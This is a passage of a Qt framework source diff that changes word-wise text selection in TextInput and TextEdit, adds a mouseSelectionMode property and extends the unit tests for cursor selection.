     bool QDeclarativeTextInput::canPaste() const
     {
         Q_D(const QDeclarativeTextInput);
    @@ -1397,9 +1426,7 @@ void QDeclarativeTextInput::moveCursorSelection(int position)
         selected (the 6th and 7th characters).
     
         The same sequence with TextInput.SelectWords will extend the selection start to a word boundary
    -    before or on position 5 and extend the selection end to a word boundary past position 9, and
    -    then if there is a word boundary between position 7 and 8 retract the selection end to that
    -    boundary.  If there is whitespace at position 7 the selection will be retracted further.
    +    before or on position 5 and extend the selection end to a word boundary on or past position 9.
     */
     void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
     {
    @@ -1408,6 +1435,7 @@ void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
         if (mode == SelectCharacters) {
             d->control->moveCursor(pos, true);
         } else if (pos != d->control->cursor()){
    +        const int cursor = d->control->cursor();
             int anchor;
             if (!d->control->hasSelectedText())
                 anchor = d->control->cursor();
    @@ -1416,55 +1444,39 @@ void QDeclarativeTextInput::moveCursorSelection(int pos, SelectionMode mode)
             else
                 anchor = d->control->selectionStart();
     
    -        if (anchor < pos) {
    +        if (anchor < pos || (anchor == pos && cursor < pos)) {
                 QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text());
                 finder.setPosition(anchor);
     
    -            if (!(finder.boundaryReasons() & QTextBoundaryFinder::StartWord)) {
    -                 finder.toNextBoundary();
    -                 if (finder.boundaryReasons() != QTextBoundaryFinder::StartWord)
    -                    finder.toPreviousBoundary();
    +            const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
    +            if (!(reasons & QTextBoundaryFinder::StartWord)
    +                    || ((reasons & QTextBoundaryFinder::EndWord) && anchor > cursor)) {
    +                finder.toPreviousBoundary();
                 }
                 anchor = finder.position();
     
                 finder.setPosition(pos);
    -            if (!(finder.boundaryReasons() & QTextBoundaryFinder::EndWord)) {
    -                finder.toPreviousBoundary();
    -                if (finder.boundaryReasons() != QTextBoundaryFinder::EndWord)
    -                    finder.toNextBoundary();
    -            }
    -            int cursor = finder.position();
    +            if (!finder.isAtBoundary())
    +                finder.toNextBoundary();
     
    -            if (anchor < cursor)
    -                d->control->setSelection(anchor, cursor - anchor);
    -            else
    -                d->control->moveCursor(pos, false);
    -
    -        } else if (anchor > pos) {
    +            d->control->setSelection(anchor, finder.position() - anchor);
    +        } else if (anchor > pos || (anchor == pos && cursor > pos)) {
                 QTextBoundaryFinder finder(QTextBoundaryFinder::Word, d->control->text());
    -
                 finder.setPosition(anchor);
    -            if (!(finder.boundaryReasons() & QTextBoundaryFinder::EndWord)) {
    -                finder.toPreviousBoundary();
    -                if (finder.boundaryReasons() != QTextBoundaryFinder::EndWord)
    -                    finder.toNextBoundary();
    +
    +            const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
    +            if (!(reasons & QTextBoundaryFinder::EndWord)
    +                    || ((reasons & QTextBoundaryFinder::StartWord) && anchor < cursor)) {
    +                finder.toNextBoundary();
                 }
    +
                 anchor = finder.position();
     
                 finder.setPosition(pos);
    -            if (!(finder.boundaryReasons() & QTextBoundaryFinder::StartWord)) {
    -                 finder.toNextBoundary();
    -                 if (finder.boundaryReasons() != QTextBoundaryFinder::StartWord)
    -                    finder.toPreviousBoundary();
    -            }
    -            int cursor = finder.position();
    -
    -            if (anchor > cursor)
    -                d->control->setSelection(anchor, cursor - anchor);
    -            else
    -                d->control->moveCursor(pos, false);
    -        } else {
    -            d->control->moveCursor(pos, false);
    +            if (!finder.isAtBoundary())
    +                 finder.toPreviousBoundary();
    +
    +            d->control->setSelection(anchor, finder.position() - anchor);
             }
         }
     }
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    index 543f7a8..63d0e53 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
    @@ -95,6 +95,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativeImplicitSizeP
         Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged)
         Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged)
         Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
    +    Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
         Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
     
     public:
    @@ -192,6 +193,9 @@ public:
         bool selectByMouse() const;
         void setSelectByMouse(bool);
     
    +    SelectionMode mouseSelectionMode() const;
    +    void setMouseSelectionMode(SelectionMode mode);
    +
         bool hasAcceptableInput() const;
     
         void drawContents(QPainter *p,const QRect &r);
    @@ -225,6 +229,7 @@ Q_SIGNALS:
         void activeFocusOnPressChanged(bool activeFocusOnPress);
         void autoScrollChanged(bool autoScroll);
         void selectByMouseChanged(bool selectByMouse);
    +    Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
         Q_REVISION(1) void canPasteChanged();
     
     protected:
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    index 1f45c11..7a0086e 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
    @@ -73,6 +73,7 @@ public:
         QDeclarativeTextInputPrivate() : control(new QLineControl(QString())),
                      color((QRgb)0), style(QDeclarativeText::Normal),
                      styleColor((QRgb)0), hAlign(QDeclarativeTextInput::AlignLeft),
    +                 mouseSelectionMode(QDeclarativeTextInput::SelectCharacters),
                      hscroll(0), oldScroll(0), focused(false), focusOnPress(true),
                      showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false),
                      autoScroll(true), selectByMouse(false), canPaste(false)
    @@ -114,6 +115,7 @@ public:
         QDeclarativeText::TextStyle style;
         QColor  styleColor;
         QDeclarativeTextInput::HAlignment hAlign;
    +    QDeclarativeTextInput::SelectionMode mouseSelectionMode;
         QPointer cursorComponent;
         QPointer cursorItem;
     
    diff --git a/src/gui/text/qtextcontrol.cpp b/src/gui/text/qtextcontrol.cpp
    index 030e196..e380b37 100644
    --- a/src/gui/text/qtextcontrol.cpp
    +++ b/src/gui/text/qtextcontrol.cpp
    @@ -129,7 +129,8 @@ QTextControlPrivate::QTextControlPrivate()
           isEnabled(true),
           hadSelectionOnMousePress(false),
           ignoreUnusedNavigationEvents(false),
    -      openExternalLinks(false)
    +      openExternalLinks(false),
    +      wordSelectionEnabled(false)
     {}
     
     bool QTextControlPrivate::cursorMoveKeyEvent(QKeyEvent *e)
    @@ -1544,11 +1545,16 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con
             }
     #endif
             if (modifiers == Qt::ShiftModifier) {
    +            if (wordSelectionEnabled && !selectedWordOnDoubleClick.hasSelection()) {
    +                selectedWordOnDoubleClick = cursor;
    +                selectedWordOnDoubleClick.select(QTextCursor::WordUnderCursor);
    +            }
    +
                 if (selectedBlockOnTrippleClick.hasSelection())
                     extendBlockwiseSelection(cursorPos);
                 else if (selectedWordOnDoubleClick.hasSelection())
                     extendWordwiseSelection(cursorPos, pos.x());
    -            else
    +            else if (wordSelectionEnabled)
                     setCursorPosition(cursorPos, QTextCursor::KeepAnchor);
             } else {
     
    @@ -1626,6 +1632,11 @@ void QTextControlPrivate::mouseMoveEvent(Qt::MouseButtons buttons, const QPointF
         if (newCursorPos == -1)
             return;
     
    +    if (wordSelectionEnabled && !selectedWordOnDoubleClick.hasSelection()) {
    +        selectedWordOnDoubleClick = cursor;
    +        selectedWordOnDoubleClick.select(QTextCursor::WordUnderCursor);
    +    }
    +
         if (selectedBlockOnTrippleClick.hasSelection())
             extendBlockwiseSelection(newCursorPos);
         else if (selectedWordOnDoubleClick.hasSelection())
    @@ -2343,6 +2354,18 @@ bool QTextControl::isDragEnabled() const
         return d->dragEnabled;
     }
     
    +void QTextControl::setWordSelectionEnabled(bool enabled)
    +{
    +    Q_D(QTextControl);
    +    d->wordSelectionEnabled = enabled;
    +}
    +
    +bool QTextControl::isWordSelectionEnabled() const
    +{
    +    Q_D(const QTextControl);
    +    return d->wordSelectionEnabled;
    +}
    +
     #ifndef QT_NO_PRINTER
     void QTextControl::print(QPrinter *printer) const
     {
    diff --git a/src/gui/text/qtextcontrol_p.h b/src/gui/text/qtextcontrol_p.h
    index 9277b68..31fa843 100644
    --- a/src/gui/text/qtextcontrol_p.h
    +++ b/src/gui/text/qtextcontrol_p.h
    @@ -178,6 +178,9 @@ public:
         void setDragEnabled(bool enabled);
         bool isDragEnabled() const;
     
    +    bool isWordSelectionEnabled() const;
    +    void setWordSelectionEnabled(bool enabled);
    +
     #ifndef QT_NO_PRINTER
         void print(QPrinter *printer) const;
     #endif
    @@ -186,8 +189,6 @@ public:
         virtual QRectF blockBoundingRect(const QTextBlock &block) const;
         QAbstractTextDocumentLayout::PaintContext getPaintContext(QWidget *widget) const;
     
    -
    -
     public Q_SLOTS:
         void setPlainText(const QString &text);
         void setHtml(const QString &text);
    diff --git a/src/gui/text/qtextcontrol_p_p.h b/src/gui/text/qtextcontrol_p_p.h
    index d7463ca..ecd13ea 100644
    --- a/src/gui/text/qtextcontrol_p_p.h
    +++ b/src/gui/text/qtextcontrol_p_p.h
    @@ -211,6 +211,8 @@ public:
         bool ignoreUnusedNavigationEvents;
         bool openExternalLinks;
     
    +    bool wordSelectionEnabled;
    +
         QString linkToCopy;
         void _q_copyLink();
         void _q_updateBlock(const QTextBlock &);
    diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
    new file mode 100644
    index 0000000..5784e19
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
    @@ -0,0 +1,8 @@
    +import QtQuick 1.1
    +
    +TextEdit {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +    mouseSelectionMode: TextEdit.SelectCharacters
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
    new file mode 100644
    index 0000000..1e5f4aa
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
    @@ -0,0 +1,7 @@
    +import QtQuick 1.1
    +
    +TextEdit {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
    new file mode 100644
    index 0000000..4b25f2f
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
    @@ -0,0 +1,8 @@
    +import QtQuick 1.1
    +
    +TextEdit {
    +    focus: true
    +    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    +    selectByMouse: true
    +    mouseSelectionMode: TextEdit.SelectWords
    +}
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index 1364337..b82aca8 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -112,8 +112,12 @@ private slots:
         void selection();
         void moveCursorSelection_data();
         void moveCursorSelection();
    +    void moveCursorSelectionSequence_data();
    +    void moveCursorSelectionSequence();
         void mouseSelection_data();
         void mouseSelection();
    +    void mouseSelectionMode_data();
    +    void mouseSelectionMode();
         void dragMouseSelection();
         void inputMethodHints();
     
    @@ -786,91 +790,113 @@ void tst_qdeclarativetextedit::moveCursorSelection_data()
         QTest::newRow("jum()ped|characters")
                 << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectCharacters << 23 << 23 << true;
     
    -    QTest::newRow("(t)he|words")
    +    QTest::newRow("<(t)he>|words")
                 << standard[0] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true;
    -    QTest::newRow("do(g)|words")
    +    QTest::newRow("|words")
                 << standard[0] << 43 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true;
    -    QTest::newRow("jum(p)ed|words")
    +    QTest::newRow("|words")
                 << standard[0] << 23 << 24 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true;
    -    QTest::newRow("jumped( )over|words")
    -            << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 27 << 27 << false;
    -    QTest::newRow("jumped( )over|words,reversed")
    -            << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 26 << false;
    -    QTest::newRow("(the )|words")
    -            << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 3 << true;
    -    QTest::newRow("( dog)|words")
    -            << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 41 << 44 << true;
    -    QTest::newRow("( jumped )|words")
    -            << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 26 << true;
    -    QTest::newRow("th(e qu)ick|words")
    +    QTest::newRow("over|words")
    +            << standard[0] << 26 << 27 << QDeclarativeTextEdit::SelectWords << 20 << 27 << false;
    +    QTest::newRow("jumped<( )over>|words,reversed")
    +            << standard[0] << 27 << 26 << QDeclarativeTextEdit::SelectWords << 26 << 31 << false;
    +    QTest::newRow("<(the )>quick|words")
    +            << standard[0] << 0 << 4 << QDeclarativeTextEdit::SelectWords << 0 << 4 << false;
    +    QTest::newRow("<(the )quick>|words,reversed")
    +            << standard[0] << 4 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 9 << false;
    +    QTest::newRow("|words")
    +            << standard[0] << 40 << 44 << QDeclarativeTextEdit::SelectWords << 36 << 44 << false;
    +    QTest::newRow("lazy<( dog)>|words,reversed")
    +            << standard[0] << 44 << 40 << QDeclarativeTextEdit::SelectWords << 40 << 44 << false;
    +    QTest::newRow("over|words")
    +            << standard[0] << 19 << 27 << QDeclarativeTextEdit::SelectWords << 16 << 27 << false;
    +    QTest::newRow("fox<( jumped )over>|words,reversed")
    +            << standard[0] << 27 << 19 << QDeclarativeTextEdit::SelectWords << 19 << 31 << false;
    +    QTest::newRow("|words")
                 << standard[0] << 2 << 6 << QDeclarativeTextEdit::SelectWords << 0 << 9 << true;
    -    QTest::newRow("la(zy d)og|words")
    +    QTest::newRow("")
                 << standard[0] << 38 << 42 << QDeclarativeTextEdit::SelectWords << 36 << 44 << true;
    -    QTest::newRow("jum(ped ov)er|words")
    +    QTest::newRow("|words")
                 << standard[0] << 23 << 29 << QDeclarativeTextEdit::SelectWords << 20 << 31 << true;
    -    QTest::newRow("()the|words")
    +    QTest::newRow("<()>the|words")
                 << standard[0] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
    -    QTest::newRow("dog()|words")
    +    QTest::newRow("dog<()>|words")
                 << standard[0] << 44 << 44 << QDeclarativeTextEdit::SelectWords << 44 << 44 << true;
    -    QTest::newRow("jum()ped|words")
    +    QTest::newRow("jum<()>ped|words")
                 << standard[0] << 23 << 23 << QDeclarativeTextEdit::SelectWords << 23 << 23 << true;
     
    -    QTest::newRow("Hello(,) |words")
    +    QTest::newRow("Hello<(,)> |words")
                 << standard[2] << 5 << 6 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true;
    -    QTest::newRow("Hello(, )|words")
    -            << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 6 << true;
    -    QTest::newRow("Hel(lo, )|words")
    -            << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 6 << true;
    -    QTest::newRow("Hel(lo),|words")
    +    QTest::newRow("Hello<(, )>world|words")
    +            << standard[2] << 5 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
    +    QTest::newRow("Hello<(, )world>|words,reversed")
    +            << standard[2] << 7 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
    +    QTest::newRow("world|words")
    +            << standard[2] << 3 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
    +    QTest::newRow("|words,reversed")
    +            << standard[2] << 7 << 3 << QDeclarativeTextEdit::SelectWords << 0 << 12 << false;
    +    QTest::newRow(",|words")
                 << standard[2] << 3 << 5 << QDeclarativeTextEdit::SelectWords << 0 << 5 << true;
    -    QTest::newRow("Hello(),|words")
    +    QTest::newRow("Hello<()>,|words")
                 << standard[2] << 5 << 5 << QDeclarativeTextEdit::SelectWords << 5 << 5 << true;
    -    QTest::newRow("Hello,()|words")
    +    QTest::newRow("Hello,<()>|words")
                 << standard[2] << 6 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << true;
    -    QTest::newRow("Hello,( )|words")
    -            << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << false;
    -    QTest::newRow("Hello,( )|words")
    -            << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << false;
    -    QTest::newRow("Hello,( world)|words")
    -            << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 7 << 12 << true;
    -    QTest::newRow("Hello,( world!)|words")
    -            << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 7 << 13 << true;
    -    QTest::newRow("Hello(, world!)|words")
    +    QTest::newRow("Hello<,( )>world|words")
    +            << standard[2] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 5 << 7 << false;
    +    QTest::newRow("Hello,<( )world>|words,reversed")
    +            << standard[2] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
    +    QTest::newRow("Hello<,( world)>|words")
    +            << standard[2] << 6 << 12 << QDeclarativeTextEdit::SelectWords << 5 << 12 << false;
    +    QTest::newRow("Hello,<( world)>|words,reversed")
    +            << standard[2] << 12 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 12 << false;
    +    QTest::newRow("Hello<,( world!)>|words")
    +            << standard[2] << 6 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << false;
    +    QTest::newRow("Hello,<( world!)>|words,reversed")
    +            << standard[2] << 13 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
    +    QTest::newRow("Hello<(, world!)>|words")
                 << standard[2] << 5 << 13 << QDeclarativeTextEdit::SelectWords << 5 << 13 << true;
    -    QTest::newRow("world(!)|words")
    +    QTest::newRow("world<(!)>|words")
                 << standard[2] << 12 << 13 << QDeclarativeTextEdit::SelectWords << 12 << 13 << true;
    -    QTest::newRow("world!())|words")
    +    QTest::newRow("world!<()>)|words")
                 << standard[2] << 13 << 13 << QDeclarativeTextEdit::SelectWords << 13 << 13 << true;
    -    QTest::newRow("world()!)|words")
    +    QTest::newRow("world<()>!)|words")
                 << standard[2] << 12 << 12 << QDeclarativeTextEdit::SelectWords << 12 << 12 << true;
     
    -    QTest::newRow("(,)olleH |words")
    +    QTest::newRow("<(,)>olleH |words")
                 << standard[3] << 7 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true;
    -    QTest::newRow("( ,)olleH|words")
    -            << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 7 << 8 << true;
    -    QTest::newRow("( ,ol)leH|words")
    -            << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 7 << 13 << true;
    -    QTest::newRow(",(ol)leH,|words")
    +    QTest::newRow("olleH|words")
    +            << standard[3] << 6 << 8 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
    +    QTest::newRow("dlrow<( ,)>olleH|words,reversed")
    +            << standard[3] << 8 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
    +    QTest::newRow("|words")
    +            << standard[3] << 6 << 10 << QDeclarativeTextEdit::SelectWords << 1 << 13 << false;
    +    QTest::newRow("dlrow<( ,ol)leH>|words,reversed")
    +            << standard[3] << 10 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 13 << false;
    +    QTest::newRow(",<(ol)leH>,|words")
                 << standard[3] << 8 << 10 << QDeclarativeTextEdit::SelectWords << 8 << 13 << true;
    -    QTest::newRow(",()olleH|words")
    +    QTest::newRow(",<()>olleH|words")
                 << standard[3] << 8 << 8 << QDeclarativeTextEdit::SelectWords << 8 << 8 << true;
    -    QTest::newRow("(),olleH|words")
    +    QTest::newRow("<()>,olleH|words")
                 << standard[3] << 7 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << true;
    -    QTest::newRow("( ),olleH|words")
    -            << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 7 << 7 << false;
    -    QTest::newRow("( ),olleH|words,reversed")
    -            << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 6 << false;
    -    QTest::newRow("(dlrow ),olleH|words")
    -            << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 6 << true;
    -    QTest::newRow("(!dlrow ),olleH|words")
    -            << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 6 << true;
    +    QTest::newRow(",olleH|words")
    +            << standard[3] << 6 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
    +    QTest::newRow("dlrow<( ),>olleH|words,reversed")
    +            << standard[3] << 7 << 6 << QDeclarativeTextEdit::SelectWords << 6 << 8 << false;
    +    QTest::newRow("<(dlrow )>,olleH|words")
    +            << standard[3] << 1 << 7 << QDeclarativeTextEdit::SelectWords << 1 << 7 << false;
    +    QTest::newRow("<(dlrow ),>olleH|words,reversed")
    +            << standard[3] << 7 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 8 << false;
    +    QTest::newRow("<(!dlrow )>,olleH|words")
    +            << standard[3] << 0 << 7 << QDeclarativeTextEdit::SelectWords << 0 << 7 << false;
    +    QTest::newRow("<(!dlrow ),>olleH|words,reversed")
    +            << standard[3] << 7 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 8 << false;
         QTest::newRow("(!dlrow ,)olleH|words")
                 << standard[3] << 0 << 8 << QDeclarativeTextEdit::SelectWords << 0 << 8 << true;
    -    QTest::newRow("(!)dlrow|words")
    +    QTest::newRow("<(!)>dlrow|words")
                 << standard[3] << 0 << 1 << QDeclarativeTextEdit::SelectWords << 0 << 1 << true;
    -    QTest::newRow("()!dlrow|words")
    +    QTest::newRow("<()>!dlrow|words")
                 << standard[3] << 0 << 0 << QDeclarativeTextEdit::SelectWords << 0 << 0 << true;
    -    QTest::newRow("!()dlrow|words")
    +    QTest::newRow("!<()>dlrow|words")
                 << standard[3] << 1 << 1 << QDeclarativeTextEdit::SelectWords << 1 << 1 << true;
     }
     
    @@ -893,6 +919,7 @@ void tst_qdeclarativetextedit::moveCursorSelection()
         texteditObject->setCursorPosition(cursorPosition);
         texteditObject->moveCursorSelection(movePosition, mode);
     
    +    QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
         QCOMPARE(texteditObject->selectionStart(), selectionStart);
         QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
     
    @@ -900,11 +927,168 @@ void tst_qdeclarativetextedit::moveCursorSelection()
             texteditObject->setCursorPosition(movePosition);
             texteditObject->moveCursorSelection(cursorPosition, mode);
     
    +        QCOMPARE(texteditObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart));
             QCOMPARE(texteditObject->selectionStart(), selectionStart);
             QCOMPARE(texteditObject->selectionEnd(), selectionEnd);
         }
     }
     
    +void tst_qdeclarativetextedit::moveCursorSelectionSequence_data()
    +{
    +    QTest::addColumn("testStr");
    +    QTest::addColumn("cursorPosition");
    +    QTest::addColumn("movePosition1");
    +    QTest::addColumn("movePosition2");
    +    QTest::addColumn("selection1Start");
    +    QTest::addColumn("selection1End");
    +    QTest::addColumn("selection2Start");
    +    QTest::addColumn("selection2End");
    +
    +    QTest::newRow("the { f^ox} jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 17
    +            << 4 << 15
    +            << 4 << 19;
    +    QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 17
    +            << 9 << 15
    +            << 10 << 19;
    +    QTest::newRow("the { ^}fox jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 16
    +            << 4 << 15
    +            << 4 << 16;
    +    QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 16
    +            << 9 << 15
    +            << 10 << 16;
    +    QTest::newRow("the {} fox jumped|ltr")
    +            << standard[0]
    +            << 9 << 13 << 15
    +            << 4 << 15
    +            << 4 << 15;
    +    QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl")
    +            << standard[0]
    +            << 13 << 9 << 15
    +            << 9 << 15
    +            << 10 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 10
    +            << 4 << 15
    +            << 4 << 10;
    +    QTest::newRow("the quick<(^ {^bro)wn>} fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 10
    +            << 9 << 15
    +            << 10 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 9
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the quick{<(^ bro)wn>} fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 9
    +            << 9 << 15
    +            << 9 << 15;
    +    QTest::newRow("the { fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 7
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the { fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 7
    +            << 9 << 15
    +            << 4 << 15;
    +    QTest::newRow("the {<^quick}( bro)wn> fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 4
    +            << 4 << 15
    +            << 4 << 9;
    +    QTest::newRow("the {<^quick}( bro)wn> fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 4
    +            << 9 << 15
    +            << 4 << 15;
    +    QTest::newRow("the{^  fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 3
    +            << 4 << 15
    +            << 3 << 9;
    +    QTest::newRow("the{^  fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 3
    +            << 9 << 15
    +            << 3 << 15;
    +    QTest::newRow("{t^he  fox|ltr")
    +            << standard[0]
    +            << 9 << 13 << 1
    +            << 4 << 15
    +            << 0 << 9;
    +    QTest::newRow("{t^he  fox|rtl")
    +            << standard[0]
    +            << 13 << 9 << 1
    +            << 9 << 15
    +            << 0 << 15;
    +
    +    QTest::newRow("{, w^orld}!|ltr")
    +            << standard[2]
    +            << 2 << 4 << 8
    +            << 0 << 5
    +            << 0 << 12;
    +    QTest::newRow("{, w^orld}!|rtl")
    +            << standard[2]
    +            << 4 << 2 << 8
    +            << 0 << 5
    +            << 0 << 12;
    +
    +    QTest::newRow("!{dlro^w ,}|ltr")
    +            << standard[3]
    +            << 9 << 11 << 5
    +            << 8 << 13
    +            << 1 << 13;
    +    QTest::newRow("!{dlro^w ,}|rtl")
    +            << standard[3]
    +            << 11 << 9 << 5
    +            << 8 << 13
    +            << 1 << 13;
    +}
    +
    +void tst_qdeclarativetextedit::moveCursorSelectionSequence()
    +{
    +    QFETCH(QString, testStr);
    +    QFETCH(int, cursorPosition);
    +    QFETCH(int, movePosition1);
    +    QFETCH(int, movePosition2);
    +    QFETCH(int, selection1Start);
    +    QFETCH(int, selection1End);
    +    QFETCH(int, selection2Start);
    +    QFETCH(int, selection2End);
    +
    +    QString componentStr = "import QtQuick 1.1\nTextEdit {  text: \""+ testStr +"\"; }";
    +    QDeclarativeComponent texteditComponent(&engine);
    +    texteditComponent.setData(componentStr.toLatin1(), QUrl());
    +    QDeclarativeTextEdit *texteditObject = qobject_cast(texteditComponent.create());
    +    QVERIFY(texteditObject != 0);
    +
    +    texteditObject->setCursorPosition(cursorPosition);
    +
    +    texteditObject->moveCursorSelection(movePosition1, QDeclarativeTextEdit::SelectWords);
    +    QCOMPARE(texteditObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
    +    QCOMPARE(texteditObject->selectionStart(), selection1Start);
    +    QCOMPARE(texteditObject->selectionEnd(), selection1End);
    +
    +    texteditObject->moveCursorSelection(movePosition2, QDeclarativeTextEdit::SelectWords);
    +    QCOMPARE(texteditObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
    +    QCOMPARE(texteditObject->selectionStart(), selection2Start);
    +    QCOMPARE(texteditObject->selectionEnd(), selection2End);
    +}
    +
    +
     void tst_qdeclarativetextedit::mouseSelection_data()
     {
         QTest::addColumn("qmlfile");
    @@ -995,6 +1179,55 @@ void tst_qdeclarativetextedit::dragMouseSelection()
         QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved.
     }
     
    +void tst_qdeclarativetextedit::mouseSelectionMode_data()
    +{
    +    QTest::addColumn("qmlfile");
    +    QTest::addColumn("selectWords");
    +
    +    // import installed
    +    QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
    +    QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
    +    QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
    +}
    +
